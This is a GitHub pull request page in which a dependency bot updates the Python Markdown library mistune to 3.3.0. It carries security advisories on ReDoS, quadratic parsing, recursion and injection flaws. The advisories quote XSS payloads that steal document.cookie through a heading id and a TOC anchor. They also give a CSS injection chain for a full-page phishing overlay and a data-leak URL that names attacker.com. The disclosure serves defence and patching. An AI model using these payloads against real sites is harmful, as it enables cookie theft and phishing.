chore(deps): update dependency mistune to v3.3.0 [security] - #642
Open
renovate[bot] wants to merge 1 commit into
Open
chore(deps): update dependency mistune to v3.3.0 [security]#642renovate[bot] wants to merge 1 commit into
renovate[bot] wants to merge 1 commit into
Conversation
☂️ Python Coverage
Overall Coverage
New FilesNo new covered files... Modified FilesNo covered modified files...
|
renovate
Bot
force-pushed
the
renovate/pypi-mistune-vulnerability
branch
2 times, most recently
from
May 28, 2026 21:17
34c5933 to
1f4972c
Compare
renovate
Bot
force-pushed
the
renovate/pypi-mistune-vulnerability
branch
from
June 18, 2026 17:04
1f4972c to
642749a
Compare
renovate
Bot
force-pushed
the
renovate/pypi-mistune-vulnerability
branch
from
July 10, 2026 22:13
642749a to
c7a3b72
Compare
renovate
Bot
force-pushed
the
renovate/pypi-mistune-vulnerability
branch
from
August 26, 2026 10:17
c7a3b72 to
fe0b17f
Compare
renovate
Bot
force-pushed
the
renovate/pypi-mistune-vulnerability
branch
from
September 3, 2026 00:37
fe0b17f to
eefe9e8
Compare
renovate
Bot
force-pushed
the
renovate/pypi-mistune-vulnerability
branch
from
September 8, 2026 00:40
eefe9e8 to
2c68ad4
Compare
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
This PR contains the following updates:
==3.2.0→==3.3.0Mistune has a ReDoS in LINK_TITLE_RE that allows denial of service via crafted Markdown input
CVE-2026-33079 / GHSA-8mp2-v27r-99xp
More information
Details
Summary
A ReDoS (Regular Expression Denial of Service) vulnerability in
LINK_TITLE_REallows an attacker who can supply Markdown for parsing to cause denial of service. A crafted 58-byte Markdown document blocks the parser for approximately 6 seconds (measured on Apple M2, Python 3.14.3), with exponential growth per additional byte pair.Details
The vulnerable regex is defined in
src/mistune/helpers.py#L20-L25:The double-quote branch compiles to
"(?:\\[PUNCTUATION]|[^"\x00])*". The two alternatives inside(A|B)*overlap: a backslash followed by a punctuation character (e.g.\!) can be matched by either branch — as a 2-character escaped-punctuation sequence\\!, or as two individual[^"\x00]characters (\then!). The same ambiguity exists in the single-quoted title branch.When the input contains repeated
\!pairs with no closing", the regex engine exhaustively backtracks through all 2^N combinations, resulting in exponential O(2^N) time complexity.This is reachable through normal Markdown parsing via two code paths:
[text](url "PAYLOAD)→parse_link()→parse_link_title()[label]: url "PAYLOAD→BlockParser.parse_ref_link()→parse_link_title()at block_parser.py#L259PoC
Output (Apple M2, Python 3.14.3, mistune 3.2.0):
Each increment of N roughly doubles the execution time (consistent with O(2^N)).
The same attack works via block link reference definitions:
Impact
This is a denial of service vulnerability. Any application or service that parses user-supplied Markdown using mistune can be made unresponsive by an attacker submitting a small crafted input (under 100 bytes).
Affected use cases include:
Suggested Fix
Exclude the backslash character from the catch-all character class to eliminate the alternation overlap:
This ensures a backslash can only be consumed by the escaped-punctuation branch, eliminating the ambiguity in both the double-quote and single-quote branches. Verified on mistune 3.2.0 (Apple M2, Python 3.14.3):
Severity
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:NReferences
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
Mistune has XSS via unescaped figclass/figwidth in Figure directive
CVE-2026-44896 / GHSA-58cw-g322-p94v
More information
Details
In
src/mistune/directives/image.py, therender_figure()function concatenatesfigclassandfigwidthoptions directly into HTML attributes without escaping (lines 152-168).This allows attribute injection and XSS even when
HTMLRenderer(escape=True)is used, because these values bypass the inline renderer.Other attributes in the same file (src, alt, style) are properly escaped; figclass/figwidth were missed.
Severity
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:NReferences
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
Mistune Heading ID Attribute has Injection XSS
CVE-2026-44897 / GHSA-v87v-83h2-53w7
More information
Details
Summary
HTMLRenderer.heading()builds the opening<hN>tag by string-concatenating theidattribute value directly into the HTML — with no call toescape(),safe_entity(), or any other sanitisation function. A double-quote character"in theidvalue terminates the attribute, allowing an attacker to inject arbitrary additional attributes (event handlers,src=,href=, etc.) into the heading element.The default TOC hook assigns safe auto-incremented IDs (
toc_1,toc_2, …) that never contain user text. However, theadd_toc_hook()API accepts a caller-suppliedheading_idcallback. Deriving heading IDs from the heading text itself — to produce human-readable slug anchors like#installationor#getting-started— is by far the most common real-world usage of this callback (every major documentation generator does this). When the callback returns raw heading text, an attacker who controls heading content can break out of theid=attribute.Details
File:
src/mistune/renderers/html.pyThe
textbody (line content) is escaped upstream by the inline token renderer, which is whytextarrives as"etc. But_idarrives as a raw string directly from whatever theheading_idcallback returned — no escaping occurs at any point in the pipeline.PoC
Step 1 — Establish the baseline (safe default IDs)
The script creates a parser with
escape=Trueand the defaultadd_toc_hook()(no customheading_idcallback). The default hook generates sequential numeric IDs:Output — ID is auto-generated, no user text appears in it:
Step 2 — Add the realistic trigger: a text-based
heading_idcallbackDeriving an anchor ID from the heading text is the standard real-world pattern (slugifiers,
mkdocs,sphinx,jekyllall do this). The PoC uses the simplest possible version — return the raw heading text unchanged — to show the vulnerability without any extra transformation:Step 3 — Craft the exploit payload
Construct a heading whose text contains a double-quote followed by an injected attribute:
When
raw_idis called,token["text"]isfoo" onmouseover="alert(document.cookie)" x=". This is passed verbatim toheading()as theidattribute value.Step 4 — Observe attribute breakout in the output
Actual output:
Note: the heading body text is correctly escaped (
"), but theid=attribute is not. A user who moves their mouse over the heading triggersalert(document.cookie). Any JavaScript payload can be substituted.Script
A verification script was created to verify this issue. It creates a HTML page showing the bypass rendering in the browser.
Example Usage:
Once the script is run, open
report_h2.htmlin the browser and observe the behaviour.Impact
Risk context: This vulnerability targets the most common customisation point for heading IDs. Any documentation site, wiki, or blog engine that generates slug-style anchors from heading text is vulnerable if it uses mistune's
heading_idcallback without independently sanitising the returned value.Severity
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:NReferences
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
Mistune TOC Anchor Injection XSS
CVE-2026-44898 / GHSA-6269-cqxg-mhhv
More information
Details
Summary
render_toc_ul()builds a<ul>table-of-contents tree from a list of(level, id, text)tuples. Both theidvalue (used ashref="#<id>") and thetextvalue (used as the visible link label) are inserted into<a>tags via a plain Python format string — with no HTML escaping applied to either value.When heading IDs are derived from user-supplied heading text (the standard use-case for readable slug anchors), an attacker can craft a heading whose text breaks out of the
href="#..."attribute context, injecting arbitrary HTML tags including<script>blocks directly into the rendered TOC.This vulnerability is closely related to H2 (unescaped
id=inheading()): the sameheading_idcallback pattern that triggers H2 also populates thetoc_itemslist thatrender_toc_ul()consumes, meaning both vulnerabilities fire simultaneously in a typical documentation setup.Details
File:
src/mistune/toc.pyThe
kandtextvalues come directly from thetoc_itemslist accumulated during parsing. Ifkcontains"or>, thehrefattribute is broken. Iftextcontains<, raw tags are injected as the visible link content.PoC
Step 1 — Establish the baseline (safe default IDs)
The script creates a parser with
escape=Trueand the defaultadd_toc_hook()(no custom callback). The default hook assigns sequential numeric IDs that never contain user text:Output — clean, safe TOC:
Step 2 — Enable the vulnerable
heading_idcallbackRegister a callback that returns the raw heading text as the ID. This is the standard slug-based anchor pattern used by documentation generators:
Step 3 — Craft the exploit payload
Construct a heading whose text terminates the
href="#..."attribute and injects a<script>block followed by a dangling<a href="to absorb the closing">thatrender_toc_ulappends:When
raw_idprocesses this heading, it returns the entire text as the ID:x"><script>alert(document.cookie)</script><a href=".Step 4 — Observe script injection in the TOC output
render_toc_ul()formats the malicious ID directly into the<a href>:Actual output:
The
<script>block is live in the document. Note that the anchor label (text) is escaped correctly by mistune's inline renderer before it reachestoc_items, butk(the heading ID) is not escaped anywhere.Script
I have built a script that you can use to verify this. It creates a HTML page showing the bypass so that you can see it render in the browser.
Example usage:
Once you run the script, open
report_h4.htmlin the browser and observe the behaviour.Impact
Risk context: TOC generation is a rendering step that often happens in a different template layer from the main body render, potentially reviewed separately and trusted implicitly. Vulnerabilities in TOC output are frequently overlooked in code review. Combined with H2, an attacker exploiting this via a single malicious heading simultaneously injects into both the heading element and the TOC anchor.
Severity
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:NReferences
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
Mistune Image Directive CSS Injection Vulnerability
CVE-2026-44899 / GHSA-ccfx-mfmx-2fx9
More information
Details
Summary
The Image directive plugin validates the
:width:and:height:options with a regex compiled as_num_re = re.compile(r"^\d+(?:\.\d*)?"). This pattern is applied viare.match()(which anchors only at the start of the string, not the end). Any value that begins with one or more digits passes validation, regardless of what follows.When the validated value is not a plain integer,
render_block_image()inserts it directly into astyle="width:...;"orstyle="height:...;"attribute. Because the value was accepted by the prefix-only regex, any CSS after the leading digits reaches thestyle=attribute verbatim and without escaping.An attacker can therefore inject an arbitrary chain of CSS properties — including
position:fixed,background-color,z-index,outline, andopacity— using nothing more than a single:width:option in a fenced image directive. The resulting element can visually cover the entire browser viewport, enabling full-page phishing overlays and UI redressing attacks.Details
File:
src/mistune/directives/image.pyAnd in
render_block_image():The
isdigit()branch correctly uses an HTML attribute for plain integers. Theelsebranch assumes that anything that passed_num_re.match()is a safe CSS length like100pxor50%. However, because the regex is prefix-only,100vw;height:100vh;position:fixed;...also passes, and the entire string lands instyle=unmodified.PoC
Step 1 — Establish the baseline (safe plain-integer dimensions)
The script creates a parser with
escape=True,FencedDirective, and theImageplugin. A safe image directive is rendered with integerwidthandheight:Expected and actual output — clean
width=andheight=HTML attributes, nostyle=:Step 2 — Understand why non-integer widths go into
style=When
widthis not a plain integer (e.g.,100px),width.isdigit()returnsFalse, so the render path falls through tostyle += "width:" + width + ";". This is the intended mechanism for CSS-unit dimensions. The flaw is that_num_re.match()lets far more than CSS units through.Step 3 — Craft the exploit payload
Provide a
:width:value that begins with a valid number (satisfying_num_re.match()) but appends an entire CSS attack chain after it:100vw— starts with1, passes_num_re.match(); also sets the width to full viewport width;height:100vh— overrides height to full viewport height;position:fixed— lifts element out of document flow, fixed to the browser viewport;top:0;left:0— anchors overlay to the top-left corner;z-index:9999— places it above all other page content;background-color:#e11d48— fills the overlay with vivid crimson;outline:8px solid #facc15— adds a bright yellow border;color:#fff;opacity:.93— styles the alt-text label in white with near-full opacityFull exploit markdown:
Actual output:
Every injected CSS property is present in the
style=attribute. When a browser renders this HTML, the<img>element:The result is a complete full-page phishing overlay generated from a single Markdown image directive.
Script
I have built a script that you can use to verify this. It creates a HTML page showing the bypass so that you can see it render in the browser.
Example usage:
Once you run the script, open
report_h6.htmlin the browser and observe the behaviour.Impact
background-image: url(https://attacker.com/?leak=...)is possible in some browser/CSP configurationsReal-world impact scenario: An attacker posts a Markdown document to a platform (wiki, issue tracker, documentation site) that renders mistune with the Image directive. Any user who views the page sees a full-screen crimson overlay matching the attacker's design, replacing or concealing the legitimate page content. The overlay can contain a convincing login prompt, survey form, or urgent warning designed to capture credentials.
Severity
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:NReferences
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
Mistune: Potential DoS via quadratic-time parsing in parse_link_text
CVE-2026-49851 / GHSA-qcq2-496w-v96p
More information
Details
Summary
Mistune is vulnerable to a CPU exhaustion DoS due to superlinear (approximately O(n²)) behavior in parse_link_text. A relatively small input consisting of repeated [ characters causes significant parsing slowdown.
Affected component
mistune/inline_parser.py → parse_link_text
Description
When parsing Markdown containing many consecutive [ characters, parse_link_text repeatedly scans the input using a regex search inside a loop. Each iteration re-scans a large portion of the remaining string, resulting in quadratic-time behavior.
An attacker-controlled Markdown input can therefore trigger excessive CPU usage with a very small payload.
Root cause
The vulnerability stems from a two-loop interaction:
InlineParser.parse()(inline_parser.py) advancesonly 1 character at a time when parse_link() returns None
parse_link_text()which performs an O(n)scan to the end of the string looking for a closing
][characters, this results in O(n) × O(n) = O(n²)total work
PoC
Run below python script
Benmark poc
Run below code for benchmark
Observed behaviour
Execution time grows superlinearly, consistent with O(n²) complex
Impact
This can be used as a denial-of-service attack in any application that parses user-supplied Markdown using Mistune, including:
Suggested fix
Return the furthest scanned position from parse_link_text even on failure, so the outer loop can skip ahead instead of advancing 1 character at a time
Security Classification
CWE-400: Uncontrolled Resource Consumption
Denial of Service (CPU exhaustion)
Severity
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:NReferences
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
Mistune block_parser: quadratic-time parsing on long lists of repeated reference-link definitions
CVE-2026-59928 / GHSA-ffq3-xpv3-j92q
More information
Details
Summary
Type: Algorithmic-complexity DoS in reference-link definition handling. A markdown document with N reference-link definitions of the same key (or many distinct keys) takes O(N²) parser time. 5000 repeated
[a]: u\ndefinitions take ~1.1 second; 10000 → ~4.5 seconds.File:
src/mistune/block_parser.py(reference-link def parsing) and the surroundingref_linksenv-dictionary handling.Root cause: every reference definition is parsed by scanning forward from each candidate position. The
unikeynormalisation runs per-def, the dictionary insert is per-def, and the lookup-by-label-then-iterate-defs path is linear in the number of stored defs. For input with N defs, the total work is O(N²).Affected Code
src/mistune/block_parser.py— reference-definition rule fires on every line that matches[label]: url. For each one:unikey(label)is called (linear scan of the label).state.env['ref_links'].unikey(label)in the dict (O(1)) but the surrounding parser revisits the def list for paragraph-vs-def disambiguation.The cumulative parse time grows as the square of the number of defs.
Why it's wrong: the parser does not amortise the def-list scan. A single forward pass with a hash-keyed dict (already in place) plus a per-line classifier should make this O(N).
Exploit Chain
[a]: u\nrepeated 5000 times followed by[click][a].Security Impact
Attacker capability: small input → large CPU. Predictable scaling. Can be repeated.
Preconditions: application uses
mistune.create_markdown()(default config) on attacker-supplied markdown. Worth noting: theref_linksdictionary persists for the lifetime of the parse, so a long document with many defs builds up memory; with N defs of attacker-chosen length, the per-def normalisation cost compounds.Differential: PoC-verified against mistune@3.2.1, default config:
The patched build (with the surrounding parser amortised to O(N)) keeps the time linear.
Suggested Fix
Replace the per-def re-scan with a single forward pass that classifies each line into
ref_def | paragraph | otheronce and only inserts intoref_linksonce per def. The dict already exists; the wasted work is in the surrounding scan loop, not in the dict operations.A regression test asserting that
md('[a]: u\n' * 50_000 + '[click][a]')completes in under 1 second would catch any regression.Severity
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:HReferences
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
Mistune directives/include: mutual
.. include::recursion crashes the renderer withRecursionError, denial of service via two attacker-controlled markdown filesCVE-2026-59927 / GHSA-8mpj-m6qm-5qr8
More information
Details
Summary
Type: Uncontrolled recursion via mutual include. The
Includedirective checks for direct self-reference (a.mdcannot includea.md), but does not detect indirect cycles. Two markdown files that include each other (a.md→ includesb.md→ includesa.md) cause unbounded recursion until Python's stack limit firesRecursionError. The exception propagates out of the renderer and crashes the calling code.File:
src/mistune/directives/include.py, lines 33-37 (the self-include check is the only cycle-detection logic).Root cause: the include logic only compares
os.path.abspath(dest) == os.path.abspath(source_file). There is no per-render set of "files already included" that would catch transitive cycles. Whena.mdincludesb.md, the recursiveblock.parse(new_state)call usesdest(b.md) as the new__file__, which then includesa.md(passing the self-check, because the immediate parent file isb.md, nota.md), which then includesb.md, and so on. Each recursion level adds Python frames; the default stack limit of 1000 frames trips after ~7-10 cycle iterations and Python raisesRecursionError. Since the directive does not catch the exception, it propagates out ofMarkdown.parse()and surfaces in the calling code, crashing the request.Affected Code
File:
src/mistune/directives/include.py, lines 28-54.Why it's wrong: the cycle-detection check is one level deep. Multi-file cycles slip through trivially. Python's default recursion limit is 1000 frames, so a cycle of length 2 trips after a few hundred mutual includes; the exception is uncaught by the directive, propagating out of
Markdown.__call__()and crashing whatever called it.Exploit Chain
Includedirective enabled. Application accepts user-supplied markdown files (CMS, wiki, multi-user documentation platform, note-taking app, CI/CD doc renderer).a.md:.. include:: b.mdb.md:.. include:: a.mda.md(or any markdown that references this pair).Includedirective includesb.md, which includesa.md, which includesb.md, ... Each recursion adds Python frames.sys.setrecursionlimit(1000)and the per-include frame depth), Python raisesRecursionError: maximum recursion depth exceeded.block.parse, throughMarkdown.__call__, and into the application's request handler. If the application doesn't catch it explicitly, the request errors out (HTTP 500 in web contexts, crash in CLI tools).Security Impact
Attacker capability: crash the rendering engine on demand by submitting any markdown that triggers the cycle. Repeated requests deny service. If the renderer is used in a hot path (per-page-view docs rendering, search-index regeneration, scheduled doc-export jobs), the cycle persists across the whole pipeline.
Preconditions: application uses mistune with the
Includedirective enabled and renders user-supplied markdown that can reference other user-uploaded files. Attacker needs write access to two .md files in the include search path (or a single file including a known-recurring pair).Differential: PoC-verified against mistune@3.2.1:
The patched build (with the suggested fix below) returns a
block_errortoken like the existing self-include check, instead of recursing forever.Suggested Fix
Track included paths in
state.envand reject any include that would re-enter a path already on the include stack:This catches cycles of any length (
a → b → a,a → b → c → a, etc.). Pair this with the path-containment fix from the LFI advisory and the HTML-extension fix from the include-XSS advisory; together those three patches make theIncludedirective safe to enable on user-supplied markdown.Add a regression test asserting that a 2-cycle and a 3-cycle both produce
block_errorrather thanRecursionError.Severity
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:LReferences
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
Mistune inline_parser: quadratic-time parsing on long runs of
**x**and***x***emphasis pairsCVE-2026-59925 / GHSA-4j32-57v6-6g45
More information